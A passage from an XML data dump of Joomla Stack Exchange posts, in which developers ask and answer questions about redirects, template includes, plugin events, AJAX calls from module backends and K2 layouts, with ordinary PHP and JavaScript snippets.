  <row Id="24929" PostTypeId="1" AcceptedAnswerId="24930" CreationDate="2019-07-18T11:14:39.580" Score="2" ViewCount="306" Body="&lt;p&gt;When users login, I am trying to push them to fill their 3rd party component's Profile form properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When they filled the form their user id is added to the &quot;#__rbid_users&quot; table (user id is same as the Joomla user id).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I made but there is something wrong - the code is not matching.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select($db-&amp;gt;quoteName(array('userid')))&#xA;            -&amp;gt;from($db-&amp;gt;quoteName('#__rbid_users'));&#xA;    $rbiduser = $db-&amp;gt;loadObjectList();&#xA;if (in_array(joomlausers-&amp;gt;id, $rbiduser-&amp;gt;userid))&#xA;{&#xA;&#xA;}&#xA;else&#xA;{&#xA;  echo '&amp;lt;html&amp;gt;&#xA;        &amp;lt;head&amp;gt;&#xA;            &amp;lt;meta http-equiv=&quot;refresh&quot; content=&quot;url=profile&quot; /&amp;gt;&#xA;        &amp;lt;/head&amp;gt;&#xA;        &amp;lt;body&amp;gt;';&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13315" LastEditorUserId="12352" LastEditDate="2019-07-18T21:32:16.970" LastActivityDate="2020-05-04T08:02:40.823" Title="Redirect if userid is not found in a database table" Tags="|user|jdatabase|redirect|id|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24930" PostTypeId="2" ParentId="24929" CreationDate="2019-07-18T11:29:44.370" Score="4" Body="&lt;p&gt;The first problem is that you're using &lt;code&gt;joomlausers-&amp;gt;id&lt;/code&gt; which doesn't look correct. It should be &lt;code&gt;$joomlausers-&amp;gt;id&lt;/code&gt; (with a &lt;code&gt;$&lt;/code&gt; at the beginning).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, &lt;code&gt;loadObjectList()&lt;/code&gt; returns an indexed array of PHP objects, so I don't believe &lt;code&gt;in_array&lt;/code&gt; will work with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, I'd suggest using &lt;code&gt;$db-&amp;gt;loadColumn()&lt;/code&gt;, which will return an array of all &lt;code&gt;userid&lt;/code&gt;'s, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select($db-&amp;gt;quoteName('userid'))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__rbid_users'));&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$array = $db-&amp;gt;loadColumn();&#xA;&#xA;if (in_array($joomlausers-&amp;gt;id, $array, true))&#xA;{&#xA;    // Id exists&#xA;}&#xA;else&#xA;{&#xA;    JFactory::getApplication()-&amp;gt;redirect(JRoute::_('index.php?option=com_something&amp;amp;view=something'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, do not start trying to inject custom metas anywhere as you've done in your current code. Instead use Joomla's redirect method as shown above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-07-18T13:34:29.393" LastActivityDate="2019-07-18T13:34:29.393" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24931" PostTypeId="2" ParentId="24929" CreationDate="2019-07-18T13:14:31.433" Score="3" Body="&lt;p&gt;I don't think it is very direct to filter the result set when sql is perfectly qualified to do such logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Lodder corrected, you also need to use &lt;code&gt;setQuery()&lt;/code&gt;, fix your missing &lt;code&gt;$&lt;/code&gt;, adjust your result set generating method call, and improve your redirect technique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've included some helpful diagnostic lines to help you to understand the query that is being generated and if there are any syntax errors, they will be displayed (so long as you don't run the redirect portion of your script).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After running my script, you may discover that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;you have an sql error (for instance &lt;code&gt;userid&lt;/code&gt; is not the same as &lt;code&gt;user_id&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;you don't actually have the &lt;code&gt;$joomlausers-&amp;gt;id&lt;/code&gt; value that you think you have&lt;/li&gt;&#xA;&lt;li&gt;...or something else that you haven't posted in your question is causing trouble.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Untested Snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$user = JFactory::getUser();&#xA;&#xA;if ($user-&amp;gt;guest) {&#xA;    $app-&amp;gt;redirect(JRoute::_('index.php?option=com_something&amp;amp;view=something'));&#xA;}&#xA;&#xA;try {&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select(&quot;COUNT(1)&quot;)&#xA;                -&amp;gt;from(&quot;#__rbid_users&quot;)&#xA;                -&amp;gt;where(&quot;userid = &quot; . (int)$user-&amp;gt;id);&#xA;&#xA;    $app-&amp;gt;enqueueMessage($query-&amp;gt;dump(), 'info');&#xA;    //                   ^^^^^^^^^^^^^^ - use only during debuggin&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    if (!$db-&amp;gt;loadResult()) {  // loadResult() should return either 0 or 1&#xA;        // no error and no count, execute redirect&#xA;        $app-&amp;gt;redirect(JRoute::_('index.php?option=com_something&amp;amp;view=something'));&#xA;    } else {&#xA;        // id matched&#xA;    }&#xA;} catch (Exception $e) {&#xA;    $app-&amp;gt;enqueueMessage(&quot;Query Syntax Error: &quot; . $e-&amp;gt;getMessage(), 'error');&#xA;    //                 use only during debugging -^^^^^^^^^^^^^^^^&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is important that I state that you must never show the exact query or error messages to the public as a matter of site security!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear, the &lt;code&gt;enqueueMessage()&lt;/code&gt; calls are not required, they are just to assist your debugging.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2020-05-04T08:02:40.823" LastActivityDate="2020-05-04T08:02:40.823" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24932" PostTypeId="1" CreationDate="2019-07-18T17:57:34.710" Score="2" ViewCount="185" Body="&lt;p&gt;I'm quite a beginner in Joomla; only designed 1 website so far; but the whole setup / domain name + web hosting configuration and lock of the frontend was made in advance for me; so I'd really like to know how to do all of that in the safest and easiest way on a mac with the newest version of joomla. I work on a macbook pro, version 10.13.6. I really want to create a administrator (and locked frontend) page which I can access from any computer to work on; so I guess the solution via XAMPP is not an option..&lt;/p&gt;&#xA;" OwnerUserId="13652" LastActivityDate="2019-07-21T03:25:09.753" Title="How can you password protect your frontend while you start developing a page, and which is the safest web hosting service?" Tags="|joomla-3.x|front-end|localhost|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24933" PostTypeId="1" CreationDate="2019-07-18T18:46:53.693" Score="0" ViewCount="18" Body="&lt;p&gt;I'll start to develop a new website with Joomla (a multilingual site, with user-profiles) and want to be able to develop an application later on working well with the site (ideally with kivy, given that I'm experienced with it and that it works on all platforms). Do you may recommend any other language for the app development which works well with a multilingual website developed with Joomla ? Cheers&lt;/p&gt;&#xA;" OwnerUserId="13652" LastActivityDate="2019-07-18T18:46:53.693" Title="Development of Website (CMS - Joomla) + App Development (language, such as kivy?), which is the best combination?" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24934" PostTypeId="1" CreationDate="2019-07-19T06:56:00.133" Score="2" ViewCount="271" Body="&lt;p&gt;I am working with a unique template index.php file and want to remove the &lt;code&gt;&amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&lt;/code&gt; because I don't want to display the empty space on the home page.&lt;/p&gt;&#xA;" OwnerUserId="11318" LastEditorUserId="12352" LastEditDate="2019-07-19T11:41:09.090" LastActivityDate="2019-07-19T14:18:36.490" Title="How to hide &lt;jdoc:include type=&quot;component&quot; /&gt; on the home page?" Tags="|joomla-3.x|component|templates|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24935" PostTypeId="2" ParentId="24934" CreationDate="2019-07-19T10:00:33.520" Score="2" Body="&lt;p&gt;In your &lt;code&gt;index.php&lt;/code&gt;, you can use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $menu = JFactory::getApplication()-&amp;gt;getMenu(); ?&amp;gt;&#xA;&amp;lt;?php if ($menu-&amp;gt;getActive() != $menu-&amp;gt;getDefault()) : ?&amp;gt;&#xA;    &amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All this basically does is check if the active menu item &lt;strong&gt;doesn't&lt;/strong&gt; match the default menu item. If it doesn't, display the component view.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2019-07-19T10:00:33.520" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24936" PostTypeId="2" ParentId="24934" CreationDate="2019-07-19T14:09:47.433" Score="0" Body="&lt;p&gt;@Lodder Thanks, but I had tried it and it does not work. After different test I found the solution, maybe is not a best practices but this work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your index.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;In line 20 before &amp;lt;!DOCTYPE html&amp;gt; &#xA;    &amp;lt;?php&#xA;      $menu = $app-&amp;gt;getMenu();&#xA;      $active = $menu-&amp;gt;getActive();&#xA;      $homeactive = $active-&amp;gt;home;&#xA;    ?&amp;gt;&#xA;&#xA;In the Body:&#xA;    &amp;lt;?php if ($homeactive != 1) : ?&amp;gt;&#xA;        &amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11318" LastEditorUserId="11318" LastEditDate="2019-07-19T14:18:36.490" LastActivityDate="2019-07-19T14:18:36.490" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24937" PostTypeId="1" CreationDate="2019-07-19T16:16:30.823" Score="0" ViewCount="39" Body="&lt;p&gt;Is it possible to prevent the modification of a customized module by another administrator?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, how can I implement such a restriction?&lt;/p&gt;&#xA;" OwnerUserId="9736" LastEditorUserId="12352" LastEditDate="2019-07-19T22:16:24.227" LastActivityDate="2019-07-21T03:28:08.550" Title="How to prevent the modification of a customized module?" Tags="|administrator|custom-module|permissions|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24938" PostTypeId="1" AcceptedAnswerId="24940" CreationDate="2019-07-19T20:26:57.160" Score="1" ViewCount="87" Body="&lt;p&gt;I am trying to use JavaScript to add a class to the body which is the same as the current menu items alias.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have echoed &lt;code&gt;$prefix&lt;/code&gt; and it is correct.  So I know that part works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have dumped the JS into the console (minus the dynamic variable) and that works.  So I think that works too.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now it appears it simply doesn't work in this plugin.  But I copied the plugin from another one I made, and that works.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain why this doesn't add the alias to the body class?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport( 'joomla.plugin.plugin' );&#xA;&#xA;class plgSystemKouAliasAsBodyClass extends JPlugin&#xA;{   &#xA;    function __construct( $subject, $params )&#xA;    {&#xA;        parent::__construct($subject, $params);&#xA;&#xA;    }&#xA;&#xA;    function onBeforeCompileHead()&#xA;    {&#xA;&#xA;        $app            = JFactory::getApplication();&#xA;&#xA;        // If we are on admin don't process.&#xA;        if (!$app-&amp;gt;isClient('site'))&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        $document       = JFactory::getDocument();&#xA;        $menu           = $app-&amp;gt;getMenu();&#xA;        $active         = $menu-&amp;gt;getActive();&#xA;        $alias          = ucfirst($active-&amp;gt;alias);      &#xA;&#xA;        if (!empty($prefix))&#xA;        {&#xA;            $alias = $prefix . $alias;&#xA;        }&#xA;&#xA;// Does not work, although $alias is correct when echoed.&#xA;        $document-&amp;gt;addScriptDeclaration('&#xA;            document.addEventListener(&quot;DOMContentLoaded&quot;, function() {&#xA;                document.body.classList.add(&quot;' . $alias  . '&quot;);&#xA;            });&#xA;        ');&#xA;&#xA;// Does not work, although document.body.classList.add(&quot;EoinsClass&quot;);&#xA;// works when used in the console.  And the rest works when &#xA;// used in a different plugin.&#xA;        $document-&amp;gt;addScriptDeclaration('&#xA;            document.addEventListener(&quot;DOMContentLoaded&quot;, function() {&#xA;                document.body.classList.add(&quot;EoinsClass&quot;);&#xA;            });&#xA;        ');     &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-07-26T07:50:03.363" Title="How to add the alias to the body in a plugin" Tags="|plugin|system-plugin|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24939" PostTypeId="1" AcceptedAnswerId="24945" CreationDate="2019-07-19T20:49:20.647" Score="1" ViewCount="418" Body="&lt;p&gt;To create thumbnails &amp;amp; cache files, I have to access my already created Ajax Functions inside my helper.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm already able to call the functions within the frontend (button that is visible when debug is active calls the js functions) -- all fine from frontend -- but if I add the same js into the backend I get the error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The file at mod_modname/helper.php does not exist.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My request looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;let data = {&#xA;        'moduleId': '{$moduleId}'&#xA;    };&#xA;let request = {&#xA;        'url' : '{$url}', // is JURI::current() //--&amp;gt; already tried without&#xA;        'option': 'com_ajax',&#xA;        'module': 'modname',&#xA;        'method': 'getImages',&#xA;        'data': str_data,&#xA;        'format': 'json'&#xA;    };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so &lt;code&gt;JURI::current&lt;/code&gt; here is: &lt;code&gt;mydomain.tld/administrator/index.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The initial call that did not work is located in 'mod_mymodname/models/fields/myCustomfield.php' as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function getInput()&#xA;    {&#xA;        $formData = json_decode($this-&amp;gt;form-&amp;gt;getData('jform'),'true');&#xA;&#xA;        if(isset($formData['id'])) {&#xA;            $moduleId = $formData['id'];&#xA;&#xA;            include JPATH_ROOT.'/modules/mod_modname/helper/buildCache.js.php';&#xA;&#xA;            $doc = JFactory::getDocument();&#xA;            $doc-&amp;gt;addScriptDeclaration($buildCacheActivation);&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Keep in mind - all works from frontend, just from module backend (where I also want to be able to &quot;create&quot; the cache,  I receive that error).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it could be something with the path / the different locations from where the script will be called?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I did not find any solution for this issue in the guides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Added Ajax Call URL&#xA;Frontend:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;url=http%3A%2F%2Flocalhost%2Fjoomla1%2Findex.php&amp;amp;option=com_ajax&amp;amp;module=modulename&amp;amp;method=getGalleries&amp;amp;data=%7B%22moduleId%22%3A%22110%22%7D&amp;amp;format=json&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Backend:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;url=http%3A%2F%2Flocalhost%2Fjoomla1%2Findex.php&amp;amp;option=com_ajax&amp;amp;module=modulename&amp;amp;method=getGalleries&amp;amp;data=%7B%22moduleId%22%3A%22110%22%7D&amp;amp;format=json&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So its the same....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;different are the &quot;Request URL&quot; which is as follows from backend: &lt;code&gt;http://localhost/joomla1/administrator/index.php?option=com_modules&amp;amp;view=module&amp;amp;layout=edit&amp;amp;id=110&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2019-07-20T18:05:45.720" LastActivityDate="2019-07-22T12:15:33.180" Title="Call com_ajax from module backend" Tags="|module|ajax|custom-field|custom-module|administration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24940" PostTypeId="2" ParentId="24938" CreationDate="2019-07-19T20:58:24.220" Score="1" Body="&lt;p&gt;I'm not sure why you're using onBeforeCompileHead.&#xA;As per the docs, &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/System&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events/System&lt;/a&gt;, this is triggered before the head is even created. Maybe you thought this would be the best time to add your content, but it wont work, there's nothing there to add to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try changing your trigger to onBeforeRender. This is the point where your app(page) has been built but not yet displayed.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2019-07-26T07:50:03.363" LastActivityDate="2019-07-26T07:50:03.363" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24943" PostTypeId="1" CreationDate="2019-07-20T13:17:59.057" Score="0" ViewCount="596" Body="&lt;p&gt;I'm currently designing a website in Joomla working with the k2 extension for Joomla. Let's simplify things and say I made a Category &quot;A&quot; of k2 articles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I link a main menu to display the articles in &quot;A&quot; by defining the menuitem type as &quot;JA K2 Filter&quot; --&gt; &quot;Items List&quot;, and by choosing the associated category &quot;A&quot;. If the user of the website clicks on one of the articles, the content is displayed on a new page (without opening a new page), and &quot;/component/k2&quot; is inserted into the URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) I link a main menu to display the articles in &quot;A&quot; by defining the menuitem type as &quot;K2&quot; --&gt; &quot;Categories&quot;, and by choosing the associated category &quot;A&quot;. If the user of the website clicks on one of the articles, the content is displayed on the same page, but the URL extension is very user friendly, no &quot;/component/k2&quot; insertion, nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the two options above, but what I want to reach is that articles are displayed on a new page (without opening a new site) as in Option 1), but with a user-friendly URL, without any weird insertions, as it happens with option 2). Any help ????&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, how can I customize the Layout of the display of k2 articles ? for example that the articles defined as the &quot;primary&quot; articles in the settings appear centered (e.g. in the middle column of 3, if only one article is in that row, etc.) ?&lt;/p&gt;&#xA;" OwnerUserId="13652" LastActivityDate="2024-03-26T13:05:15.663" Title="Customize and Display Layout / URL of K2 Articles in Joomla" Tags="|joomla-3.x|css|k2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24944" PostTypeId="2" ParentId="24937" CreationDate="2019-07-20T14:07:54.030" Score="1" Body="&lt;p&gt;You would need to build a custom plugin to do that. The way to approach this is to leverage on the Joomla check-in/check-out feature to check-in your modules when you edit them and permanently keep them checked-in (!) That way, any other admin who comes around to change the content of the module won't be allowed to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your plugin config, you can add a field to select which module you want to permanently disable others from editing, but if your fellow admins discover the plugin they would probably change the settings too... unless you do something drastic to keep them out of the plugin too.&lt;/p&gt;&#xA;" OwnerUserId="7638" LastActivityDate="2019-07-20T14:07:54.030" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24945" PostTypeId="2" ParentId="24939" CreationDate="2019-07-20T14:23:35.780" Score="1" Body="&lt;p&gt;If you still want to use the frontend urls from backend, make sure to call the frontend site appropriately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your should use Juri::root() to get site url from administrator instead of Juri::base() or Juri::current().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Juri::root() --&gt; &lt;a href=&quot;http://mysite.local&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mysite.local&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Juri::base() --&gt; &lt;a href=&quot;http://mysite.local/administrator&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mysite.local/administrator&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Juri::current() --&gt; &lt;a href=&quot;http://mysite.local/administrator/index.php?option=some_component&amp;amp;view=some_view&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mysite.local/administrator/index.php?option=some_component&amp;amp;view=some_view&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7638" LastActivityDate="2019-07-20T14:23:35.780" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="24946" PostTypeId="1" CreationDate="2019-07-20T16:45:59.583" Score="2" ViewCount="166" Body="&lt;p&gt;I currently develop a FieldPlugin for myself. I noticed some things and don't understand them fully right now. My plugin works in the backend perfect, but raises errors on the frontend, so I did some investigating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I've done things until now also might be not the right path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First fact why my plugin worked until now: If you're hitting the Save button in article edit the method &lt;code&gt;onCustomFieldsPrepareDom($field, DOMElement $parent, JForm $form)&lt;/code&gt; gets called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this method, I saved &lt;code&gt;$field-&amp;gt;value&lt;/code&gt; in a member variable for usage in &lt;code&gt;onContentBeforeSave($context, $item, $isNew, $data = array())&lt;/code&gt;.  (Yes, this is the part where I think I used the wrong way.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what I don't understand is why, in this action, the variable &lt;code&gt;$field&lt;/code&gt; has different values in the front and backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In frontend:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stdClass Object (&#xA;    [id] =&amp;gt; 1&#xA;    [title] =&amp;gt; Fileupload&#xA;    [name] =&amp;gt; fileupload&#xA;    [checked_out] =&amp;gt; 0&#xA;    [checked_out_time] =&amp;gt; 0000-00-00 00:00:00&#xA;    [note] =&amp;gt; &#xA;    [state] =&amp;gt; 1&#xA;    [access] =&amp;gt; 1&#xA;    [created_time] =&amp;gt; 2019-07-14 16:25:05&#xA;    [created_user_id] =&amp;gt; 478&#xA;    [ordering] =&amp;gt; 0&#xA;    [language] =&amp;gt; *&#xA;    [fieldparams] =&amp;gt; Joomla\Registry\Registry Object (&#xA;        [data:protected] =&amp;gt; stdClass Object (&#xA;            [savePath] =&amp;gt; /images/fileupload &#xA;            [downloadProtection] =&amp;gt; 1&#xA;        )&#xA;        [initialized:protected] =&amp;gt; 1&#xA;        [separator] =&amp;gt; .&#xA;    )&#xA;    [params] =&amp;gt; Joomla\Registry\Registry Object (&#xA;        [data:protected] =&amp;gt; stdClass Object (&#xA;            [hint] =&amp;gt; &#xA;            [class] =&amp;gt; &#xA;            [label_class] =&amp;gt; &#xA;            [show_on] =&amp;gt; &#xA;            [render_class] =&amp;gt; &#xA;            [showlabel] =&amp;gt; 1 &#xA;            [label_render_class] =&amp;gt; &#xA;            [display] =&amp;gt; 2 &#xA;            [layout] =&amp;gt; &#xA;            [display_readonly] =&amp;gt; 2&#xA;        )&#xA;        [initialized:protected] =&amp;gt; 1&#xA;        [separator] =&amp;gt; .&#xA;    )&#xA;    [type] =&amp;gt; jtfileupload &#xA;    [default_value] =&amp;gt; &#xA;    [context] =&amp;gt; com_content.article &#xA;    [group_id] =&amp;gt; 0 &#xA;    [label] =&amp;gt; Fileupload &#xA;    [description] =&amp;gt; &#xA;    [required] =&amp;gt; 0 &#xA;    [language_title] =&amp;gt; &#xA;    [language_image] =&amp;gt; &#xA;    [editor] =&amp;gt; &#xA;    [access_level] =&amp;gt; Public &#xA;    [author_name] =&amp;gt; Super User &#xA;    [group_title] =&amp;gt; &#xA;    [group_access] =&amp;gt; &#xA;    [group_state] =&amp;gt; &#xA;    [group_note] =&amp;gt;&#xA;) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In backend:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stdClass Object ( &#xA;    [id] =&amp;gt; 1 &#xA;    [title] =&amp;gt; Fileupload &#xA;    [name] =&amp;gt; fileupload &#xA;    [checked_out] =&amp;gt; 0 &#xA;    [checked_out_time] =&amp;gt; 0000-00-00 00:00:00 &#xA;    [note] =&amp;gt; &#xA;    [state] =&amp;gt; 1 &#xA;    [access] =&amp;gt; 1 &#xA;    [created_time] =&amp;gt; 2019-07-14 16:25:05 &#xA;    [created_user_id] =&amp;gt; 478 &#xA;    [ordering] =&amp;gt; 0 &#xA;    [language] =&amp;gt; * &#xA;    [fieldparams] =&amp;gt; Joomla\Registry\Registry Object ( &#xA;        [data:protected] =&amp;gt; stdClass Object ( &#xA;            [savePath] =&amp;gt; /images/fileupload &#xA;            [downloadProtection] =&amp;gt; 1 &#xA;        )&#xA;        [initialized:protected] =&amp;gt; 1 &#xA;        [separator] =&amp;gt; . &#xA;    )&#xA;    [params] =&amp;gt; Joomla\Registry\Registry Object ( &#xA;        [data:protected] =&amp;gt; stdClass Object ( &#xA;            [hint] =&amp;gt; &#xA;            [class] =&amp;gt; &#xA;            [label_class] =&amp;gt; &#xA;            [show_on] =&amp;gt; &#xA;            [render_class] =&amp;gt; &#xA;            [showlabel] =&amp;gt; 1 &#xA;            [label_render_class] =&amp;gt; &#xA;            [display] =&amp;gt; 2 &#xA;            [layout] =&amp;gt; &#xA;            [display_readonly] =&amp;gt; 2 &#xA;        ) &#xA;        [initialized:protected] =&amp;gt; 1 &#xA;        [separator] =&amp;gt; . &#xA;    )&#xA;    [type] =&amp;gt; jtfileupload &#xA;    [default_value] =&amp;gt; &#xA;    [context] =&amp;gt; com_content.article &#xA;    [group_id] =&amp;gt; 0 &#xA;    [label] =&amp;gt; Fileupload &#xA;    [description] =&amp;gt; &#xA;    [required] =&amp;gt; 0 &#xA;    [language_title] =&amp;gt; &#xA;    [language_image] =&amp;gt; &#xA;    [editor] =&amp;gt; &#xA;    [access_level] =&amp;gt; Public &#xA;    [author_name] =&amp;gt; Super User &#xA;    [group_title] =&amp;gt; &#xA;    [group_access] =&amp;gt; &#xA;    [group_state] =&amp;gt; &#xA;    [group_note] =&amp;gt; &#xA;    [value] =&amp;gt; 2019_Kreismeisterschaft_Vaihingen_1807016968.pdf &#xA;    [rawvalue] =&amp;gt; 2019_Kreismeisterschaft_Vaihingen_1807016968.pdf &#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So why exists in the object in backend the part &lt;code&gt;value&lt;/code&gt; and &lt;code&gt;rawvalue&lt;/code&gt; and in front end not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I created a tag if someone wants to look into the code and test it on his own. &lt;a href=&quot;https://github.com/JoomTools/plg_fields_jtfileupload/tree/JoomlaExchange&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/JoomTools/plg_fields_jtfileupload/tree/JoomlaExchange&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13188" LastEditorUserId="13188" LastEditDate="2019-07-21T12:01:19.173" LastActivityDate="2019-07-21T12:01:19.173" Title="FieldsPlugin onCustomFieldsPrepareDom $field on save different on front and backend" Tags="|development|plugin|administrator|custom-field|front-end|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24947" PostTypeId="2" ParentId="24943" CreationDate="2019-07-20T17:44:11.227" Score="0" Body="&lt;p&gt;I don't understand what you mean by opening &quot;in a new site&quot;, could you be meaning a new tab?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for how to customize the layouts of the k2 article pages, Joomla has a functionality called &quot;Template Overrides&quot;. What it means is that templates can override the layouts of components and modules, enabling you to apply custom styles to your content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an extensive topic so I will link you to some articles you can read with detailed explanation and pictures for reference:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Easiest Way to Create Template Overrides in Joomla 3 -&gt; &lt;a href=&quot;https://www.joomlashack.com/blog/joomla/easy-overrides/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlashack.com/blog/joomla/easy-overrides/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to Create Template Overrides for Specific Joomla Articles -&gt; &lt;a href=&quot;https://www.joomlashack.com/blog/joomla/template-overrides-articles/&quot; 